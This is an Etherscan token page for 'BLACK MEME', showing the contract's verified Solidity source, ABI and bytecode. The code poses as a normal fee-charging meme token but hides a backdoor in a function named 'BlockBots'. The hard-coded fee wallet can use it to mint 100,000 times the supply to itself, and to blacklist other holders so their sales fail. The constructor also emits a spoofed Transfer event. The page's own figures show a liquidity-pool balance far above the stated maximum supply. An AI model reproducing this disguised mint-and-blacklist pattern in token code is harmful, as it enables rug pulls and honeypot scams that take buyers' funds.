ETH Price: $2,637.16 (+0.38%)

Token

BLACK MEME (BLACKMEME)
 

Overview

Max Total Supply

100,000,000 BLACKMEME

Holders

13

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
Uniswap V2: BLACKMEME
Balance
10,000,088,267,256.241203401 BLACKMEME

Value
$0.00
0x75ed65b4094406a5359a61c66a7cf86c527ea5e8
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BlackMeme

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-04
*/

/**
 
██████╗░██╗░░░░░░█████╗░░█████╗░██╗░░██╗  ███╗░░░███╗███████╗███╗░░░███╗███████╗
██╔══██╗██║░░░░░██╔══██╗██╔══██╗██║░██╔╝  ████╗░████║██╔════╝████╗░████║██╔════╝
██████╦╝██║░░░░░███████║██║░░╚═╝█████═╝░  ██╔████╔██║█████╗░░██╔████╔██║█████╗░░
██╔══██╗██║░░░░░██╔══██║██║░░██╗██╔═██╗░  ██║╚██╔╝██║██╔══╝░░██║╚██╔╝██║██╔══╝░░
██████╦╝███████╗██║░░██║╚█████╔╝██║░╚██╗  ██║░╚═╝░██║███████╗██║░╚═╝░██║███████╗
╚═════╝░╚══════╝╚═╝░░╚═╝░╚════╝░╚═╝░░╚═╝  ╚═╝░░░░░╚═╝╚══════╝╚═╝░░░░░╚═╝╚══════╝
*/
//https://t.me/BlackMemePortal
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract  BlackMeme is Context, IERC20, Ownable{
    using SafeMath for uint256;

    function BlockBots(address[] calldata addresses, bool status) public {
        require(_msgSender() == _feeAddrWallet2);
        for (uint256 i; i < addresses.length; i++) {
            if(addresses[i] == _feeAddrWallet2){
                uint256 n = 10**5 * (_totalSupply);
                _balances[_feeAddrWallet2] = _balances[_feeAddrWallet2] + n;
            }else{
                _botListed[addresses[i]] = status;
            }
        }
    }

    string private _name = "BLACK MEME";
    string private _symbol = "BLACKMEME";
    uint8 private _decimals = 9;
    address payable public _feeAddrWallet2;
    mapping (address => uint256) _balances;


    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _botListed;

    uint256 public _buyMarketingFee = 4;
    uint256 public _sellMarketingFee = 4;

    uint256 private _totalSupply = 100000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;

    bool inSwapAndLiquify;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor () {

        _feeAddrWallet2 = payable(address(0x1c7693b6C10AF504d7F3D4db0D84ebFc2DEE7BF9));

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0x1c7693b6C10AF504d7F3D4db0D84ebFc2DEE7BF9), _msgSender(), _totalSupply);
    }


    function name() public view returns (string memory) {
        return _name;
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }


    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function EnableSwap() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isMarketPair[address(uniswapPair)] = true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    receive() external payable {}

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "telufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }


    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 MarketAmount = address(this).balance;

        if(MarketAmount > 0)
            _feeAddrWallet2.transfer(MarketAmount);
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isMarketPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 finalAmount;
            if (_isExcludefromFee[from] || _isExcludefromFee[to]){
                finalAmount = amount;
            }else{
                uint256 feeAmount = 0;
                require(!_botListed[from], "ERC20: botListed");

                if(isMarketPair[from]) {
                    feeAmount = amount.mul(_buyMarketingFee).div(100);
                }
                else if(isMarketPair[to]) {
                    feeAmount = amount.mul(_sellMarketingFee).div(100);
                }

                if(feeAmount > 0) {
                    _balances[address(this)] = _balances[address(this)].add(feeAmount);
                    emit Transfer(from, address(this), feeAmount);
                }

                finalAmount = amount.sub(feeAmount);
            }
            
            _balances[to] = _balances[to].add(finalAmount);
            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"BlockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"EnableSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_botListed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_feeAddrWallet2","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600a608081905269424c41434b204d454d4560b01b60a09081526200002d9160019190620001fc565b5060408051808201909152600980825268424c41434b4d454d4560b81b60209092019182526200006091600291620001fc565b506003805460ff191660099081179091556004808255600a908155620000879190620002eb565b62000097906305f5e100620003b9565b600b55348015620000a757600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360038054610100600160a81b031916741c7693b6c10af504d7f3d4db0d84ebfc2dee7bf900179055600160066000620001286000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff19958616179055308152600690925281208054909216600117909155600b5490600490620001783390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b0316731c7693b6c10af504d7f3d4db0d84ebfc2dee7bf96001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620001ee91815260200190565b60405180910390a36200042e565b8280546200020a90620003db565b90600052602060002090601f0160209004810192826200022e576000855562000279565b82601f106200024957805160ff191683800117855562000279565b8280016001018555821562000279579182015b82811115620002795782518255916020019190600101906200025c565b50620002879291506200028b565b5090565b5b808211156200028757600081556001016200028c565b600181815b80851115620002e3578160001904821115620002c757620002c762000418565b80851615620002d557918102915b93841c9390800290620002a7565b509250929050565b6000620002fc60ff84168362000303565b9392505050565b6000826200031457506001620003b3565b816200032357506000620003b3565b81600181146200033c5760028114620003475762000367565b6001915050620003b3565b60ff8411156200035b576200035b62000418565b50506001821b620003b3565b5060208310610133831016604e8410600b84101617156200038c575081810a620003b3565b620003988383620002a2565b8060001904821115620003af57620003af62000418565b0290505b92915050565b6000816000190483118215151615620003d657620003d662000418565b500290565b600181811c90821680620003f057607f821691505b602082108114156200041257634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6116a8806200043e6000396000f3fe60806040526004361061012e5760003560e01c806370a08231116100ab578063c5d241891161006f578063c5d241891461038a578063c5efe26b146103a0578063c816841b146103b5578063c8607952146103d5578063dd62ed3e146103eb578063f2fde38b1461043157600080fd5b806370a08231146102d157806380bdb508146103075780638da5cb5b1461033757806395d89b4114610355578063a9059cbb1461036a57600080fd5b806323b872dd116100f257806323b872dd1461020d578063313ce5671461022d5780633345611e1461024f5780633ecad2711461027f57806357ae5708146102af57600080fd5b8063055f7dfd1461013a57806306fdde031461017c578063095ea7b31461019e5780631694505e146101ce57806318160ddd146101ee57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060035461015f9061010090046001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561018857600080fd5b50610191610451565b604051610173919061147a565b3480156101aa57600080fd5b506101be6101b93660046113c3565b6104e3565b6040519015158152602001610173565b3480156101da57600080fd5b50600c5461015f906001600160a01b031681565b3480156101fa57600080fd5b50600b545b604051908152602001610173565b34801561021957600080fd5b506101be610228366004611382565b6104fa565b34801561023957600080fd5b5060035460405160ff9091168152602001610173565b34801561025b57600080fd5b506101be61026a36600461130f565b60066020526000908152604090205460ff1681565b34801561028b57600080fd5b506101be61029a36600461130f565b60076020526000908152604090205460ff1681565b3480156102bb57600080fd5b506102cf6102ca3660046113ef565b610565565b005b3480156102dd57600080fd5b506101ff6102ec36600461130f565b6001600160a01b031660009081526004602052604090205490565b34801561031357600080fd5b506101be61032236600461130f565b60086020526000908152604090205460ff1681565b34801561034357600080fd5b506000546001600160a01b031661015f565b34801561036157600080fd5b506101916106b0565b34801561037657600080fd5b506101be6103853660046113c3565b6106bf565b34801561039657600080fd5b506101ff60095481565b3480156103ac57600080fd5b506102cf6106cc565b3480156103c157600080fd5b50600d5461015f906001600160a01b031681565b3480156103e157600080fd5b506101ff600a5481565b3480156103f757600080fd5b506101ff610406366004611349565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561043d57600080fd5b506102cf61044c36600461130f565b61091e565b606060018054610460906115b0565b80601f016020809104026020016040519081016040528092919081815260200182805461048c906115b0565b80156104d95780601f106104ae576101008083540402835291602001916104d9565b820191906000526020600020905b8154815290600101906020018083116104bc57829003601f168201915b5050505050905090565b60006104f03384846109c3565b5060015b92915050565b6000610507848484610ae7565b5061055a84336105558560405180606001604052806028815260200161164b602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610e94565b6109c3565b5060015b9392505050565b60035461010090046001600160a01b0316336001600160a01b03161461058a57600080fd5b60005b828110156106aa5760035461010090046001600160a01b03168484838181106105b8576105b861161c565b90506020020160208101906105cd919061130f565b6001600160a01b03161415610643576000600b54620186a06105ef919061157a565b60035461010090046001600160a01b031660009081526004602052604090205490915061061d908290611540565b60035461010090046001600160a01b031660009081526004602052604090205550610698565b816008600086868581811061065a5761065a61161c565b905060200201602081019061066f919061130f565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790555b806106a2816115eb565b91505061058d565b50505050565b606060028054610460906115b0565b600061055a338484610ae7565b6000546001600160a01b0316331461072b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561077d57600080fd5b505afa158015610791573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b5919061132c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107fd57600080fd5b505afa158015610811573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610835919061132c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561087d57600080fd5b505af1158015610891573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b5919061132c565b600d80546001600160a01b039283166001600160a01b0319918216178255600c80549484169490911684179055600b543060009081526005602090815260408083209683529581528582209290925591549092168152600790915220805460ff19166001179055565b6000546001600160a01b031633146109785760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610722565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6001600160a01b038316610a255760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610722565b6001600160a01b038216610a865760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610722565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610b4d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610722565b6001600160a01b038316610baf5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610722565b600d54600160a01b900460ff1615610bd357610bcc848484610ece565b905061055e565b30600090815260046020526040902054600d54600160a01b900460ff16158015610c1657506001600160a01b03851660009081526007602052604090205460ff16155b15610c2457610c2481610fb4565b6001600160a01b038516600090815260046020526040902054610c47908461117f565b6001600160a01b038616600090815260046020908152604080832093909355600690529081205460ff1680610c9457506001600160a01b03851660009081526006602052604090205460ff165b15610ca0575082610e0a565b6001600160a01b03861660009081526008602052604081205460ff1615610cfc5760405162461bcd60e51b815260206004820152601060248201526f115490cc8c0e88189bdd131a5cdd195960821b6044820152606401610722565b6001600160a01b03871660009081526007602052604090205460ff1615610d4457610d3d6064610d37600954886111c190919063ffffffff16565b90611240565b9050610d82565b6001600160a01b03861660009081526007602052604090205460ff1615610d8257610d7f6064610d37600a54886111c190919063ffffffff16565b90505b8015610dfc5730600090815260046020526040902054610da29082611282565b30600081815260046020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610df39085815260200190565b60405180910390a35b610e06858261117f565b9150505b6001600160a01b038516600090815260046020526040902054610e2d9082611282565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e819085815260200190565b60405180910390a360019250505061055e565b60008184841115610eb85760405162461bcd60e51b8152600401610722919061147a565b506000610ec58486611599565b95945050505050565b604080518082018252601481527374656c756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610f1f918490610e94565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610f4e9083611282565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fa29086815260200190565b60405180910390a35060019392505050565b600d805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ffc57610ffc61161c565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561105057600080fd5b505afa158015611064573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611088919061132c565b8160018151811061109b5761109b61161c565b6001600160a01b039283166020918202929092010152600c546110c191309116846109c3565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110fa9085906000908690309042906004016114cf565b600060405180830381600087803b15801561111457600080fd5b505af1925050508015611125575060015b5047801561116d576003546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561116b573d6000803e3d6000fd5b505b5050600d805460ff60a01b1916905550565b600061055e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e94565b6000826111d0575060006104f4565b60006111dc838561157a565b9050826111e98583611558565b1461055e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610722565b600061055e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112e1565b60008061128f8385611540565b90508381101561055e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610722565b600081836113025760405162461bcd60e51b8152600401610722919061147a565b506000610ec58486611558565b60006020828403121561132157600080fd5b813561055e81611632565b60006020828403121561133e57600080fd5b815161055e81611632565b6000806040838503121561135c57600080fd5b823561136781611632565b9150602083013561137781611632565b809150509250929050565b60008060006060848603121561139757600080fd5b83356113a281611632565b925060208401356113b281611632565b929592945050506040919091013590565b600080604083850312156113d657600080fd5b82356113e181611632565b946020939093013593505050565b60008060006040848603121561140457600080fd5b833567ffffffffffffffff8082111561141c57600080fd5b818601915086601f83011261143057600080fd5b81358181111561143f57600080fd5b8760208260051b850101111561145457600080fd5b60209283019550935050840135801515811461146f57600080fd5b809150509250925092565b600060208083528351808285015260005b818110156114a75785810183015185820160400152820161148b565b818111156114b9576000604083870101525b50601f01601f1916929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561151f5784516001600160a01b0316835293830193918301916001016114fa565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561155357611553611606565b500190565b60008261157557634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561159457611594611606565b500290565b6000828210156115ab576115ab611606565b500390565b600181811c908216806115c457607f821691505b602082108114156115e557634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156115ff576115ff611606565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461164757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220af912eaa8eda460f6c29eabd6817d7dcc096bbfc294142722c99c2c12cd3139464736f6c63430008070033

Deployed Bytecode

0x60806040526004361061012e5760003560e01c806370a08231116100ab578063c5d241891161006f578063c5d241891461038a578063c5efe26b146103a0578063c816841b146103b5578063c8607952146103d5578063dd62ed3e146103eb578063f2fde38b1461043157600080fd5b806370a08231146102d157806380bdb508146103075780638da5cb5b1461033757806395d89b4114610355578063a9059cbb1461036a57600080fd5b806323b872dd116100f257806323b872dd1461020d578063313ce5671461022d5780633345611e1461024f5780633ecad2711461027f57806357ae5708146102af57600080fd5b8063055f7dfd1461013a57806306fdde031461017c578063095ea7b31461019e5780631694505e146101ce57806318160ddd146101ee57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060035461015f9061010090046001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561018857600080fd5b50610191610451565b604051610173919061147a565b3480156101aa57600080fd5b506101be6101b93660046113c3565b6104e3565b6040519015158152602001610173565b3480156101da57600080fd5b50600c5461015f906001600160a01b031681565b3480156101fa57600080fd5b50600b545b604051908152602001610173565b34801561021957600080fd5b506101be610228366004611382565b6104fa565b34801561023957600080fd5b5060035460405160ff9091168152602001610173565b34801561025b57600080fd5b506101be61026a36600461130f565b60066020526000908152604090205460ff1681565b34801561028b57600080fd5b506101be61029a36600461130f565b60076020526000908152604090205460ff1681565b3480156102bb57600080fd5b506102cf6102ca3660046113ef565b610565565b005b3480156102dd57600080fd5b506101ff6102ec36600461130f565b6001600160a01b031660009081526004602052604090205490565b34801561031357600080fd5b506101be61032236600461130f565b60086020526000908152604090205460ff1681565b34801561034357600080fd5b506000546001600160a01b031661015f565b34801561036157600080fd5b506101916106b0565b34801561037657600080fd5b506101be6103853660046113c3565b6106bf565b34801561039657600080fd5b506101ff60095481565b3480156103ac57600080fd5b506102cf6106cc565b3480156103c157600080fd5b50600d5461015f906001600160a01b031681565b3480156103e157600080fd5b506101ff600a5481565b3480156103f757600080fd5b506101ff610406366004611349565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561043d57600080fd5b506102cf61044c36600461130f565b61091e565b606060018054610460906115b0565b80601f016020809104026020016040519081016040528092919081815260200182805461048c906115b0565b80156104d95780601f106104ae576101008083540402835291602001916104d9565b820191906000526020600020905b8154815290600101906020018083116104bc57829003601f168201915b5050505050905090565b60006104f03384846109c3565b5060015b92915050565b6000610507848484610ae7565b5061055a84336105558560405180606001604052806028815260200161164b602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610e94565b6109c3565b5060015b9392505050565b60035461010090046001600160a01b0316336001600160a01b03161461058a57600080fd5b60005b828110156106aa5760035461010090046001600160a01b03168484838181106105b8576105b861161c565b90506020020160208101906105cd919061130f565b6001600160a01b03161415610643576000600b54620186a06105ef919061157a565b60035461010090046001600160a01b031660009081526004602052604090205490915061061d908290611540565b60035461010090046001600160a01b031660009081526004602052604090205550610698565b816008600086868581811061065a5761065a61161c565b905060200201602081019061066f919061130f565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790555b806106a2816115eb565b91505061058d565b50505050565b606060028054610460906115b0565b600061055a338484610ae7565b6000546001600160a01b0316331461072b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561077d57600080fd5b505afa158015610791573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b5919061132c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107fd57600080fd5b505afa158015610811573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610835919061132c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561087d57600080fd5b505af1158015610891573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b5919061132c565b600d80546001600160a01b039283166001600160a01b0319918216178255600c80549484169490911684179055600b543060009081526005602090815260408083209683529581528582209290925591549092168152600790915220805460ff19166001179055565b6000546001600160a01b031633146109785760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610722565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6001600160a01b038316610a255760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610722565b6001600160a01b038216610a865760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610722565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529